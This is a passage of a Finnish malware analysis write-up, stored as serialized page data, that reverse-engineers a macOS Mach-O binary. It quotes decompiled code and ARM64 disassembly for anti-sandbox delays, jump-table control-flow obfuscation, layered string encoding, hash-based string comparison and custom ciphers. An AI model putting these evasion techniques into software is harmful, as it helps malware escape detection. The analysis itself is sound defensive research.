hidden; margin: 0.25rem 0",[1430,13495,4719,13497,4719,13506],{"style":13496},"width:100%; border-collapse: collapse; font-size: 0.85rem",[1433,13498,4724,13499,4719],{},[1436,13500,11188,13501,11188,13504,4724],{},[1439,13502,1441],{"style":13503},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600",[1439,13505,1444],{"style":13503},[1446,13507,4724,13508,4724,13517,4724,13526,4724,13534,4724,13544,4724,13554,4719],{},[1436,13509,11188,13510,11188,13514,4724],{},[1451,13511,13513],{"style":13512},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Format",[1451,13515,13516],{"style":13512},"Mach-O Universal Binary",[1436,13518,11188,13519,11188,13523,4724],{},[1451,13520,13522],{"style":13521},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Architectures",[1451,13524,13525],{"style":13521},"x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)",[1436,13527,11188,13528,11188,13531,4724],{},[1451,13529,13530],{"style":13512},"Size",[1451,13532,13533],{"style":13512},"15.7 MB",[1436,13535,11188,13536,11188,13539,4724],{},[1451,13537,13538],{"style":13521},"MD5",[1451,13540,13541],{"style":13521},[579,13542,13543],{},"4599fdf2fa2099b30d8bbf76703dd634",[1436,13545,11188,13546,11188,13549,4724],{},[1451,13547,13548],{"style":13512},"SHA-1",[1451,13550,13551],{"style":13512},[579,13552,13553],{},"3992edfb6f885ae5f09f3e69a2578048d6d5bb54",[1436,13555,11188,13556,11188,13559,4724],{},[1451,13557,13558],{"style":13521},"SHA-256",[1451,13560,13561],{"style":13521},[579,13562,13563],{},"5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d",[748,13565,13567],{"id":13566},"se-alkaa-ennen-main-funktiota","Se alkaa ennen main()-funktiota",[526,13569,754],{},[526,13571,13572,13573,13576,13577,13580],{},"Ensimmäinen asia, jonka totesimme Ghidrassa: tämä binääri ei käyttäydy kuin normaali executable. Varsinainen sisääntulopiste ei ole ",[579,13574,13575],{},"main()"," vaan funktio, joka on rekisteröity ",[579,13578,13579],{},"__mod_init_func","-osioon, macOS-mekanismiin, joka ohjeistaa dynaamista linkkeriä (dyld) suorittamaan tietyt funktiot automaattisesti binäärin latautuessa, vielä ennen kuin hyödyllistä koodia ajetaan.",[526,13582,13583,13584,13587],{},"Init-funktio osoitteessa ",[579,13585,13586],{},"0x10009f384"," on haittaohjelman varsinainen sisääntulopiste. Tässä Ghidra-dekompilaatio:",[862,13589,13590],{"style":13154},[13591,13592,13593,13597,13599,13602,2063,13606,3234,13610,13612,13613,13616,13617,13631],"code-block",{},[1718,13594,13596],{"style":13595},"color:#6a737d","// FUN_10009f384 @ 0x10009f384",[728,13598],{},[1718,13600,13601],{"style":13595},"// __mod_init_func registered — executes before main()",[1718,13603,13605],{"style":13604},"color:#d73a49","void",[1718,13607,13609],{"style":13608},"color:#6f42c1","FUN_10009f384",[1718,13611,13605],{"style":13604},")\n{\n  ",[1718,13614,13615],{"style":13604},"int"," iVar1;\n",[526,13618,13619,13622,13623,3234,13626,13630],{},[1718,13620,13621],{"style":13595},"// Anti-sandbox delay: usleep(0x37e) = 894 microseconds","\niVar1 = ",[1718,13624,13625],{"style":13608},"_usleep",[1718,13627,13629],{"style":13628},"color:#005cc5","0x37e",");",[526,13632,13633,13636,13639,13640,13642,13643,13646,13647,13650,13651,13654,13655,13658],{},[1718,13634,13635],{"style":13595},"// Indirect jump table — 14-state machine",[1718,13637,13638],{"style":13595},"// Defeats CFG reconstruction in static analysis tools","\n(_(",[1718,13641,579],{"style":13604}," _)((",[1718,13644,13645],{"style":13604},"ulong",")switchD_10009f43c::switchdataD_1000cd3fc * ",[1718,13648,13649],{"style":13628},"4"," + ",[1718,13652,13653],{"style":13628},"0x10009f440","))(iVar1);\n",[1718,13656,13657],{"style":13604},"return",";\n}",[526,13660,13661,13662,13665,13666,13669],{},"Kaksi asiaa pistää heti silmään. Ensinnäkin 894 mikrosekunnin ",[579,13663,13664],{},"usleep"," käynnistyksessä: anti-sandbox-ajoitussignaali. Vakavampi on epäsuora hyppytaulukko osoitteessa ",[579,13667,13668],{},"0x10009f43c",". Se on laskettu branch, jossa kohdeosoite määritetään ajonaikaisesti lookup-taulukosta. Staattiset analyysityökalut eivät pysty rekonstruoimaan control flow -graafia; Ghidra kirjasi useita \"unreachable block\" -varoituksia yrittäessään seurata suorituspolkua. Niin on tarkoituskin.",[526,13671,13672,13673,13676],{},"Hyppytaulukko ajaa ",[568,13674,13675],{},"14 tilan suorituskonetta",". Jokainen tila suorittaa yhden diskreetin askeleen purku- ja suoritusputkessa. Tilalaskuri päivitetään jokaisen askeleen jälkeen, ja kone käy, kunnes kaikki tilat on käyty läpi.",[748,13678,13680],{"id":13679},"state-dispatcherin-arm64-disassembly","State dispatcherin ARM64-disassembly",[526,13682,754],{},[862,13684,13685],{"style":13154},[616,13686,13690],{"className":13687,"code":13688,"language":13689,"meta":530,"style":530},"language-asm shiki shiki-themes github-light github-dark","10009f3fc:  stp xzr,xzr,[sp, #0x48]\n10009f41c:  mov w0,#0x37e\n10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n10009f428:  b.hi 0x10009fd44         ; exit if done\n10009f42c:  mov w8,w25               ; current state index\n10009f430:  adr x9,0x10009f440       ; base of jump table\n10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n10009f43c:  br x9                    ; indirect branch, CFG broken here\n","asm",[579,13691,13692,13697,13702,13707,13712,13717,13722,13727,13732,13737],{"__ignoreMap":530},[1718,13693,13694],{"class":1720,"line":1721},[1718,13695,13696],{},"10009f3fc:  stp xzr,xzr,[sp, #0x48]\n",[1718,13698,13699],{"class":1720,"line":531},[1718,13700,13701],{},"10009f41c:  mov w0,#0x37e\n",[1718,13703,13704],{"class":1720,"line":2102},[1718,13705,13706],{},"10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n",[1718,13708,13709],{"class":1720,"line":2108},[1718,13710,13711],{},"10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n",[1718,13713,13714],{"class":1720,"line":2432},[1718,13715,13716],{},"10009f428:  b.hi 0x10009fd44         ; exit if done\n",[1718,13718,13719],{"class":1720,"line":2438},[1718,13720,13721],{},"10009f42c:  mov w8,w25               ; current state index\n",[1718,13723,13724],{"class":1720,"line":3096},[1718,13725,13726],{},"10009f430:  adr x9,0x10009f440       ; base of jump table\n",[1718,13728,13729],{"class":1720,"line":3892},[1718,13730,13731],{},"10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n",[1718,13733,13734],{"class":1720,"line":3898},[1718,13735,13736],{},"10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n",[1718,13738,13739],{"class":1720,"line":4144},[1718,13740,13741],{},"10009f43c:  br x9                    ; indirect branch, CFG broken here\n",[748,13743,13745],{"id":13744},"kuusi-päällekkäistä-obfuskointikerrosta","Kuusi päällekkäistä obfuskointikerrosta",[526,13747,754],{},[526,13749,13750,13751,13754],{},"Binääri käyttää kuutta eri obfuskointikerrosta, pinottuna ja ketjutettuna niin, että kunkin kerroksen tuloste syötetään seuraavaan. Jokainen payload, jokainen merkkijono, jokainen sisäinen vakio on koodattu. ",[579,13752,13753],{},"__const","-segmentissä ei esiinny mitään merkityksellistä selkotekstinä. Seuraavassa on täydellinen kerroskohtainen erittely, suoraan Ghidrassa varmennettuna, aina yksittäisiin ARM64-käskyihin asti. Jokainen käytetyistä tekniikoista on itsessään tunnettu; niiden ketjutettu soveltaminen useassa vaiheessa loi kuitenkin vahvasti toisistaan riippuvan suoritusvuon, joka vaikeutti staattista ja dynaamista analyysiä huomattavasti.",[13123,13756],{},[897,13758,13760],{"id":13759},"layer-1-compile-time-triplettikoodaus","Layer 1: compile-time-triplettikoodaus",[526,13762,903],{},[526,13764,13765,13766,13769],{},"Yhtäkään merkkijonoa ei ole binäärissä tallennettu merkkijonona vaan 12 tavun aritmeettisten triplettien sarjana. Jokainen tripletti ",[579,13767,13768],{},"(a, b, shift)"," koodaa täsmälleen yhden tulostemerkin. Koodausskeema sovelletaan käännösaikana, joten yksikään merkkijono ei koskaan esiinny selkotekstinä binäärissä, ei edes hetkellisesti latauksen yhteydessä.",[526,13771,13772,13773,13776,13777,13780,13781,13784,13785,13776,13788,13791,13792,13795],{},"Kaksi erillistä dekooderifunktiota käsittelee eri merkkijonokokoja. ",[579,13774,13775],{},"FUN_100087c08"," osoitteessa ",[579,13778,13779],{},"0x100087c08"," dekoodaa 60 merkin merkkijonoja (720 tavua syötedataa lähteestä ",[579,13782,13783],{},"DAT_1006292cc","). ",[579,13786,13787],{},"FUN_10007ad80",[579,13789,13790],{},"0x10007ad80"," dekoodaa 56 merkin merkkijonoja (672 tavua lähteestä ",[579,13793,13794],{},"DAT_10049708c","). Molemmat käyttävät samaa algoritmia.",[862,13797,13798],{"style":13154},[13591,13799,13800,13803,13805,13808,2063,13810,3234,13812,13815,13816,13818,13819,13821,13822,13824,13825,13828,13829],{},[1718,13801,13802],{"style":13595},"// FUN_100087c08 @ 0x100087c08",[728,13804],{},[1718,13806,13807],{"style":13595},"// Triplet decoder, 60 chars, data from DAT_1006292cc",[1718,13809,13605],{"style":13604},[1718,13811,13775],{"style":13608},[1718,13813,13814],{"style":13604},"long"," *param_1)\n{\n  ",[1718,13817,13814],{"style":13604}," *plVar1;\n  ",[1718,13820,13605],{"style":13604}," *pvVar2;\n  ",[1718,13823,13814],{"style":13604}," lVar3;\n  ",[1718,13826,13827],{"style":13604},"uint"," *puVar4;\n",[526,13830,13831,13832,3234,13835,13838,13839,13844,13847,13848,13838,13850,13853,13855,13858,13859,647,13862,13838,13865,13868,13869,13871,13872,13642,13874,13876,13877,3099,13880,13883,13884,13886,13887,13890,13891,13894,13895,13642,13898,13900,13901,13904,13905,13908,13910,13913,13914,13642,13916,13918,13919,13921,13922,13924,13925,13930,13931,13934,13935,13940,13941,13944,13945,13947,13948,13953,13954,13956,13957,13959,13960,13963,13964,13967,13968,13838,13970,13973,13975,13978,13979,13658],{},"pvVar2 = ",[1718,13833,13834],{"style":13608},"operator_new",[1718,13836,13837],{"style":13628},"0x2d0","); ",[1718,13840,13841,13842],{"style":13595},"// allocate 720 bytes (60 triplets × 12)",[728,13843],{},[1718,13845,13846],{"style":13608},"_memcpy","(pvVar2, &DAT_1006292cc, ",[1718,13849,13837],{"style":13628},[1718,13851,13852],{"style":13595},"// copy encoded triplets from __const",[728,13854],{},[1718,13856,13857],{"style":13608},"FUN_1000a0840","(param_1, ",[1718,13860,13861],{"style":13628},"0x3c",[1718,13863,13864],{"style":13628},"0",[1718,13866,13867],{"style":13595},"// init 60-char output buffer","\nlVar3 = ",[1718,13870,13864],{"style":13628},";\npuVar4 = (",[1718,13873,13827],{"style":13604},[1718,13875,13814],{"style":13604},")pvVar2 + ",[1718,13878,13879],{"style":13628},"8",[1718,13881,13882],{"style":13604},"do"," {\nplVar1 = (",[1718,13885,13814],{"style":13604}," _)_param_1;\n",[1718,13888,13889],{"style":13604},"if"," (-",[1718,13892,13893],{"style":13628},"1"," \u003C _(",[1718,13896,13897],{"style":13604},"char",[1718,13899,13814],{"style":13604},")param_1 + ",[1718,13902,13903],{"style":13628},"0x17",")) {\nplVar1 = param_1;\n}\n",[1718,13906,13907],{"style":13595},"// THE DECODE FORMULA, one character per triplet:",[728,13909],{},[1718,13911,13912],{"style":13595},"// char = ((b _ 3) XOR a) >> shift) - b","\n_(",[1718,13915,13897],{"style":13604},[1718,13917,13814],{"style":13604},")plVar1 + lVar3) =\n(",[1718,13920,13897],{"style":13604},")((",[1718,13923,13615],{"style":13604},")(puVar4",[1718,13926,13927,13928],{},"-",[1718,13929,13893],{"style":13628}," * ",[1718,13932,13933],{"style":13628},"3"," ^ puVar4",[1718,13936,13927,13937],{},[1718,13938,13939],{"style":13628},"2",") >> (*puVar4 & ",[1718,13942,13943],{"style":13628},"0x1f",")) - (",[1718,13946,13897],{"style":13604},")puVar4",[1718,13949,13950],{},[1718,13951,13952],{"style":13628},"-1",";\nlVar3 = lVar3 + ",[1718,13955,13893],{"style":13628},";\npuVar4 = puVar4 + ",[1718,13958,13933],{"style":13628},"; ",[1718,13961,13962],{"style":13595},"// advance 12 bytes — next triplet","\n} ",[1718,13965,13966],{"style":13604},"while"," (lVar3 != ",[1718,13969,13861],{"style":13628},[1718,13971,13972],{"style":13595},"// loop exactly 60 times",[728,13974],{},[1718,13976,13977],{"style":13608},"operator_delete","(pvVar2);\n",[1718,13980,13657],{"style":13604},[526,13982,13983],{},"Vastaava ARM64-assembly, jossa jokainen käsky vastaa suoraan yhtä kaavan operaatiota:",[862,13985,13986],{"style":13154},[616,13987,13990],{"className":13988,"code":13989,"language":621},[619],"100087c48:  add x9,x20,#0x8\n100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11\n100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b \u003C\u003C 1) = b * 3\n                                       ; (compiler avoids MUL instruction)\n100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a\n100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12\n100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved\n100087c60:  sub w10,w10,w11           ; subtract b — final decoded character\n100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer\n100087c78:  add x8,x8,#0x1\n100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60\n100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded\n",[579,13991,13989],{"__ignoreMap":530},[526,13993,13994,13995,13998,13999,14002],{},"Huomionarvoista: kertolasku ",[579,13996,13997],{},"b × 3"," on toteutettu muodossa ",[579,14000,14001],{},"add w12, w11, w11, LSL #1",", shift-and-add, joka välttää kertolaskukäskyn kokonaan. Se on klassinen kääntäjäoptimointi, joka tekee koodista samalla vaikeamman löytää signatuurihaulla.",[526,14004,14005],{},"Täydellinen dekoodauskaava:",[862,14007,14008],{"style":13154},[616,14009,14012],{"className":14010,"code":14011,"language":621},[619],"char = ASR( (b × 3) XOR a, shift ) − b\n",[579,14013,14011],{"__ignoreMap":530},[526,14015,14016,14019,14020,14023,14024,14027],{},[579,14017,14018],{},"ASR"," (Arithmetic Shift Right) on ratkaiseva: se säilyttää etumerkkibitin. Jos välitulos ",[579,14021,14022],{},"(b×3) XOR a"," on negatiivinen, mikä on yleistä, looginen shift tuottaisi täysin eri tuloksen. Se on tarkoituksellista: se, joka toteuttaa kaavan uudelleen korkeamman tason ohjelmointikielessä ",[579,14025,14026],{},">>","-operaattorilla, saa hiljaisesti vääriä tulosteita, ellei etumerkillistä aritmetiikkaa oteta nimenomaisesti huomioon.",[526,14029,14030,14031,14033,14034,14036,14037,14040],{},"56 merkin variantti ",[579,14032,13787],{}," on rakenteellisesti identtinen, toimii datalla ",[579,14035,13794],{}," ja silmukkarajalla ",[579,14038,14039],{},"0x38",". Molemmat funktiot varmennettiin tämän analyysin aikana livenä Ghidrassa.",[13123,14042],{},[897,14044,14046],{"id":14045},"layer-2-heksamerkkijonokoodaus","Layer 2: heksamerkkijonokoodaus",[526,14048,903],{},[526,14050,14051,14052,14055,14056,13776,14059,14062,14063,726],{},"Layer 1:n tuottamat raakatavut ovat itse ASCII-heksamerkkejä, eivät binääridataa. Layer 1:n triplettidekoodauksen tuloste on merkkijono heksapareja: ",[579,14053,14054],{},"32694e5462…",". Tämän vahvistaa dekooderifunktio ",[579,14057,14058],{},"FUN_100000dc0",[579,14060,14061],{},"0x100000dc0",", joka toteuttaa heksadekoodauksen lookup-taulukolla osoitteessa ",[579,14064,14065],{},"DAT_1007bb591",[526,14067,14068,14069,13927,14072,647,14075,13927,14078,647,14081,13927,14084,14087],{},"Ghidra-dekompilaatio näyttää switch-lauseen, joka kuvaa jokaisen heksamerkin (",[579,14070,14071],{},"0x30",[579,14073,14074],{},"0x39",[579,14076,14077],{},"0x41",[579,14079,14080],{},"0x46",[579,14082,14083],{},"0x61",[579,14085,14086],{},"0x66",") sen nibble-arvoksi ja kokoaa tulostetavut kaksi merkkiä kerrallaan:",[862,14089,14090],{"style":13154},[13591,14091,14092,14095,14098,14101,14102,14105,14106,14108,14109,2063,14112,1008,14114,14117,14118,4719,14121,2063,14123,14126,14127,13959,14130,14132,14133,4719,14136,2063,14138,14126,14141,13959,14144,14132,14146,4719,14149,4719,14152,2063,14154,1008,14156,2063,14158,14126,14160,13959,14163,14165,14166,4719,14169,2063,14171,1008,14174,2063,14176,14126,14179,13959,14182,14165,14184,4719,14187,2063,14189,1008,14192,2063,14194,14197,14198,13959,14201,14165,14203,4719,14206,2063,14208,1008,14211,2063,14213,14216,14217,13959,14220,14165,14222,4719,14225,2063,14227,1008,14230,2063,14232,14126,14235,13959,14238,14165,14240,4719,14243,2063,14245,1008,14247,2063,14249,14126,14251,13959,14254,14165,14256,14259,14260,14263,14264,14105,14267,14269,14270,14272,14273,14276],{},[1718,14093,14094],{"style":13595},"// FUN_100000dc0 @ 0x100000dc0",[1718,14096,14097],{"style":13595},"// Hex decoder, processes input two characters per output byte",[1718,14099,14100],{"style":13604},"switch","(*(",[1718,14103,14104],{"style":13604},"undefined1"," *)((",[1718,14107,13814],{"style":13604},")plVar2 + lVar7)) {\n  ",[1718,14110,14111],{"style":13604},"case",[1718,14113,14071],{"style":13628},[1718,14115,14116],{"style":13604},"break",";                  ",[1718,14119,14120],{"style":13595},"// '0' → 0x00",[1718,14122,14111],{"style":13604},[1718,14124,14125],{"style":13628},"0x31",": bVar9 = ",[1718,14128,14129],{"style":13628},"0x10",[1718,14131,14116],{"style":13604},";   ",[1718,14134,14135],{"style":13595},"// '1' → 0x10",[1718,14137,14111],{"style":13604},[1718,14139,14140],{"style":13628},"0x32",[1718,14142,14143],{"style":13628},"0x20",[1718,14145,14116],{"style":13604},[1718,14147,14148],{"style":13595},"// '2' → 0x20",[1718,14150,14151],{"style":13595},"// ... '3' through '9' ...",[1718,14153,14111],{"style":13604},[1718,14155,14077],{"style":13628},[1718,14157,14111],{"style":13604},[1718,14159,14083],{"style":13628},[1718,14161,14162],{"style":13628},"0xa0",[1718,14164,14116],{"style":13604},";  ",[1718,14167,14168],{"style":13595},"// 'A'/'a' → 0xa0",[1718,14170,14111],{"style":13604},[1718,14172,14173],{"style":13628},"0x42",[1718,14175,14111],{"style":13604},[1718,14177,14178],{"style":13628},"0x62",[1718,14180,14181],{"style":13628},"0xb0",[1718,14183,14116],{"style":13604},[1718,14185,14186],{"style":13595},"// 'B'/'b' → 0xb0",[1718,14188,14111],{"style":13604},[1718,14190,14191],{"style":13628},"0x43",[1718,14193,14111],{"style":13604},[1718,14195,14196],{"style":13628},"99",":   bVar9 = ",[1718,14199,14200],{"style":13628},"0xc0",[1718,14202,14116],{"style":13604},[1718,14204,14205],{"style":13595},"// 'C'/'c' → 0xc0",[1718,14207,14111],{"style":13604},[1718,14209,14210],{"style":13628},"0x44",[1718,14212,14111],{"style":13604},[1718,14214,14215],{"style":13628},"100",":  bVar9 = ",[1718,14218,14219],{"style":13628},"0xd0",[1718,14221,14116],{"style":13604},[1718,14223,14224],{"style":13595},"// 'D'/'d' → 0xd0",[1718,14226,14111],{"style":13604},[1718,14228,14229],{"style":13628},"0x45",[1718,14231,14111],{"style":13604},[1718,14233,14234],{"style":13628},"0x65",[1718,14236,14237],{"style":13628},"0xe0",[1718,14239,14116],{"style":13604},[1718,14241,14242],{"style":13595},"// 'E'/'e' → 0xe0",[1718,14244,14111],{"style":13604},[1718,14246,14080],{"style":13628},[1718,14248,14111],{"style":13604},[1718,14250,14086],{"style":13628},[1718,14252,14253],{"style":13628},"0xf0",[1718,14255,14116],{"style":13604},[1718,14257,14258],{"style":13595},"// 'F'/'f' → 0xf0","\n}\n",[1718,14261,14262],{"style":13595},"// Second nibble from lookup table at DAT_1007bb591","\n*(",[1718,14265,14266],{"style":13604},"byte",[1718,14268,13814],{"style":13604},")pppppppuVar3 + uVar8) =\n    (&DAT_1007bb591)[(",[1718,14271,13645],{"style":13604},")uVar4 & ",[1718,14274,14275],{"style":13628},"0xff","] | bVar9;\n",[526,14278,14279],{},"ARM64-assembly ajaa tätä toissijaisella computed-branch-taulukolla ja toteuttaa siten käytännössä 55 merkinnän hyppytaulukon switchille:",[862,14281,14282],{"style":13154},[616,14283,14286],{"className":14284,"code":14285,"language":621},[619],"100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table\n100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char\n100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address\n100000e68:  br x17                   ; jump — second computed branch in 24 bytes\n",[579,14287,14285],{"__ignoreMap":530},[526,14289,14290],{},"Kaksi laskettua branchia 24 tavun ikkunassa. Staattiset analyysityökalut eivät selviä tästä kuviosta, koska molemmat branch-kohteet ovat analyysihetkellä tuntemattomia.",[526,14292,14293],{},"137 208 merkin pituinen heksamerkkijono tuottaa dekoodauksen jälkeen 68 604 tavua, jotka syötetään sitten Layer 3:een.",[13123,14295],{},[897,14297,14299],{"id":14298},"layer-3-mukautettu-16-symbolin-nibble-aakkosto","Layer 3: mukautettu 16 symbolin nibble-aakkosto",[526,14301,903],{},[526,14303,14304],{},"Layer 2:n 68 604 tulostetavua käyttävät vain 16:ta yksilöllistä tavuarvoa kahdelta ei-yhtenäiseltä ASCII-alueelta:",[631,14306,14307,14350],{},[634,14308,14309,14312,14313,647,14316,647,14319,647,14322,647,14325,647,14327,647,14330,647,14333,647,14335,647,14337,647,14340,647,14342,647,14344,647,14346,647,14348],{},[579,14310,14311],{},"0x20-0x2F",": välilyönti, ",[579,14314,14315],{},"!",[579,14317,14318],{},"\"",[579,14320,14321],{},"#",[579,14323,14324],{},"$",[579,14326,4039],{},[579,14328,14329],{},"&",[579,14331,14332],{},"'",[579,14334,3234],{},[579,14336,1149],{},[579,14338,14339],{},"*",[579,14341,3781],{},[579,14343,10773],{},[579,14345,13927],{},[579,14347,726],{},[579,14349,6539],{},[634,14351,14352,1008,14355,647,14358,647,14361,647,14364,647,14367,647,14370,647,14373,14376],{},[579,14353,14354],{},"0x78-0x7F",[579,14356,14357],{},"x",[579,14359,14360],{},"y",[579,14362,14363],{},"z",[579,14365,14366],{},"{",[579,14368,14369],{},"|",[579,14371,14372],{},"}",[579,14374,14375],{},"~",", DEL",[526,14378,14379],{},"Tämä on tietoinen suunnitteluratkaisu. Heksaeditorissa nämä tavut näyttävät välilyönneiltä, välimerkeiltä ja ASCII-reunamerkeiltä; ne sulautuvat siihen kohinaan, joka vaikuttaa metadatalta tai paddingilta. Analyytikko, joka silmäilee heksadumppia, ei merkitse näitä tavualueita epäilyttäviksi, ja tavanomaiset entropia-analyysit aliarvioivat todellisen entropian, koska tavujakauma ei vaikuta satunnaiselta.",[526,14381,14382,14383,14386,14387,14390,14391,14394,14395,14398],{},"Jokainen tavu tästä aakkostosta koodaa yhden nibblen varsinaisesta payloadista. Aakkosto-nibble-kuvauksen soveltaa enkoodaus-/dekoodausfunktio ",[579,14384,14385],{},"FUN_100000d60",", jonka varmensimme osoitteessa ",[579,14388,14389],{},"0x100000d60",". Se ketjuttaa kaksi alifunktiota: ",[579,14392,14393],{},"FUN_100000b50"," luo indeksoidun kartan syötemerkkijonon merkeistä, ja ",[579,14396,14397],{},"FUN_100000c34"," käy tätä karttaa läpi, kuluttaa 6 bittiä askelta kohti ja kerää tulostetavuja 8 bittiä kerrallaan:",[862,14400,14401],{"style":13154},[13591,14402,14403,14406,14407,3481,14409,14411,14412,14414,14415,14418,14419,4719,14422,14424,14425,14427,14428,4724,14431,14433,14434,14437,14438,14440,14441,4724,14444,6284,14446,14449,14450,14453,14454,14456,14457,14460,14461,14463,14464,14105,14467,14469,14470,14472,14473,14475],{},[1718,14404,14405],{"style":13595},"// FUN_100000c34 @ 0x100000c34, nibble accumulator","\niVar5 = ",[1718,14408,13864],{"style":13628},[1718,14410,13882],{"style":13604}," {\n  local_52 = *(",[1718,14413,14104],{"style":13604}," *)puVar4;\n  lVar3 = ",[1718,14416,14417],{"style":13608},"FUN_1000a078c","(param_3, &local_52);  ",[1718,14420,14421],{"style":13595},"// look up nibble value",[1718,14423,13889],{"style":13604}," (lVar3 == ",[1718,14426,13864],{"style":13628},") {\n    ",[1718,14429,14430],{"style":13595},"// character not in alphabet, treat as raw",[1718,14432,14417],{"style":13608},"(param_3, &local_51);\n  } ",[1718,14435,14436],{"style":13604},"else"," {\n    iVar5 = iVar5 + ",[1718,14439,13649],{"style":13628},";           ",[1718,14442,14443],{"style":13595},"// accumulate 4 bits",[1718,14445,13966],{"style":13604},[1718,14447,14448],{"style":13628},"7"," \u003C iVar5) {\n      std::string::",[1718,14451,14452],{"style":13608},"push_back","((",[1718,14455,13897],{"style":13604},")param_1);  ",[1718,14458,14459],{"style":13595},"// emit byte when 8+ bits ready","\n      iVar5 = iVar5 + -",[1718,14462,13879],{"style":13628},";\n    }\n  }\n  puVar4 = (",[1718,14465,14466],{"style":13604},"undefined8",[1718,14468,13814],{"style":13604},")puVar4 + ",[1718,14471,13893],{"style":13628},");\n} ",[1718,14474,13966],{"style":13604}," (puVar4 != puVar1);\n",[526,14477,14478],{},"Tästä ajosta syntyvät 34 302 tavua ovat 99,7-prosenttisesti tulostettavaa ASCII:ta. Ensimmäisellä pikaisella silmäyksellä payload näyttää tässä vaiheessa isolta shell-skriptiltä tai konfiguraatioblobilta.",[13123,14480],{},[897,14482,14484],{"id":14483},"layer-4-compile-time-merkkijono-obfuskointi","Layer 4: compile-time-merkkijono-obfuskointi",[526,14486,903],{},[526,14488,14489],{},"Sisäisesti käytetyt merkkijonot obfuskoidaan käännösaikana samalla triplettiskeemalla kuin Layer 1:ssä ja rekonstruoidaan ajonaikaisesti välittömästi ennen käyttöä. Muistissa ne eivät viivy koskaan tarpeellista pidempään; puskuri vapautetaan heti kulutuksen jälkeen. Binäärin staattisissa datasektioissa ei ole missään vaiheessa näkyvissä dekoodattua merkkijonoa.",[526,14491,14492,14493,14496],{},"Merkkijonon hash-funktio ",[579,14494,14495],{},"FUN_100000730"," tuottaa toissijaisen obfuskointikerroksen merkkijonovertailuille. Sen sijaan että vertailtaisiin merkkijonoja suoraan, mikä jättäisi selkotekstiä muistiin, binääri laskee ja vertailee kokonaislukuhasheja:",[862,14498,14499],{"style":13154},[13591,14500,14501,14504,14507,2063,14509,3234,14511,13815,14513,14515,14516,14519,14520,4719,14523,4719,14526,14529,14530,14532,14533,14535,14536,14538,14539,14165,14542,14545,14546,14548,14549,14551],{},[1718,14502,14503],{"style":13595},"// FUN_100000730 @ 0x100000730",[1718,14505,14506],{"style":13595},"// FNV-style string hash, avoids plaintext string comparisons",[1718,14508,13615],{"style":13604},[1718,14510,14495],{"style":13608},[1718,14512,13897],{"style":13604},[1718,14514,13615],{"style":13604}," iVar4 = ",[1718,14517,14518],{"style":13628},"0x19a8",";    ",[1718,14521,14522],{"style":13595},"// FNV offset basis (modified)",[1718,14524,14525],{"style":13595},"// ...",[1718,14527,14528],{"style":13604},"for"," (; uVar3 != ",[1718,14531,13864],{"style":13628},"; uVar3 = uVar3 - ",[1718,14534,13893],{"style":13628},") {\n    iVar4 = (",[1718,14537,13615],{"style":13604},")*pcVar1 + iVar4 * -",[1718,14540,14541],{"style":13628},"0x7fb91be3",[1718,14543,14544],{"style":13595},"// FNV-1a style multiply","\n    pcVar1 = pcVar1 + ",[1718,14547,13893],{"style":13628},";\n  }\n  ",[1718,14550,13657],{"style":13604}," iVar4;\n}\n",[526,14553,14554],{},"ARM64-assembly korvaa kertolaskun fused multiply-addilla:",[862,14556,14557],{"style":13154},[616,14558,14561],{"className":14559,"code":14560,"language":621},[619],"100000744:  mov w0,#0x19a8            ; FNV basis\n100000750:  mov w10,#0xe41d\n100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3\n100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment\n10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char\n100000760:  subs x9,x9,#0x1\n100000764:  b.ne 0x100000758\n",[579,14562,14560],{"__ignoreMap":530},[526,14564,14565],{},"Tämä tarkoittaa, että edes kahden merkkijonon vertailu binäärin sisällä ei tuota branchia, jonka debuggeri voisi napata siististi merkkijonotasolla, vaan vain hash-tasolla.",[13123,14567],{},[897,14569,14571],{"id":14570},"layer-5-kaksi-mukautettua-stream-cipher-instanssia","Layer 5: kaksi mukautettua stream cipher -instanssia",[526,14573,903],{},[526,14575,14576,14577,14580],{},"Tässä kohtaa obfuskointiarkkitehtuuri muuttuu epätavalliseksi. Binäärissä ei aja yksi vaan ",[568,14578,14579],{},"kaksi erillistä cipher-instanssia",", kummallakin eri kovakoodattu lookup-taulukko ja eri alkulaskuri. Molemmat käyttävät samaa algoritmirakennetta mutta tuottavat eri tulosteaakkostot payload-putken eri osille.",[526,14582,14583,647,14586,13776,14589,1208],{},[568,14584,14585],{},"Instanssi A",[579,14587,14588],{},"FUN_10007ab34",[579,14590,14591],{},"0x10007ab34",[862,14593,14594],{"style":13154},[13591,14595,14596,14599,14600,3481,14603,14605,14606,14105,14608,14610,14611,14613,14614,14105,14616,14618,14619,14621,14622,14105,14624,14626,14627,14629,14630,14633,14634,14636,14637,14639],{},[1718,14597,14598],{"style":13595},"// Instance A, start counter 0x4c, table @ 0x100496f8b","\nuVar6 = 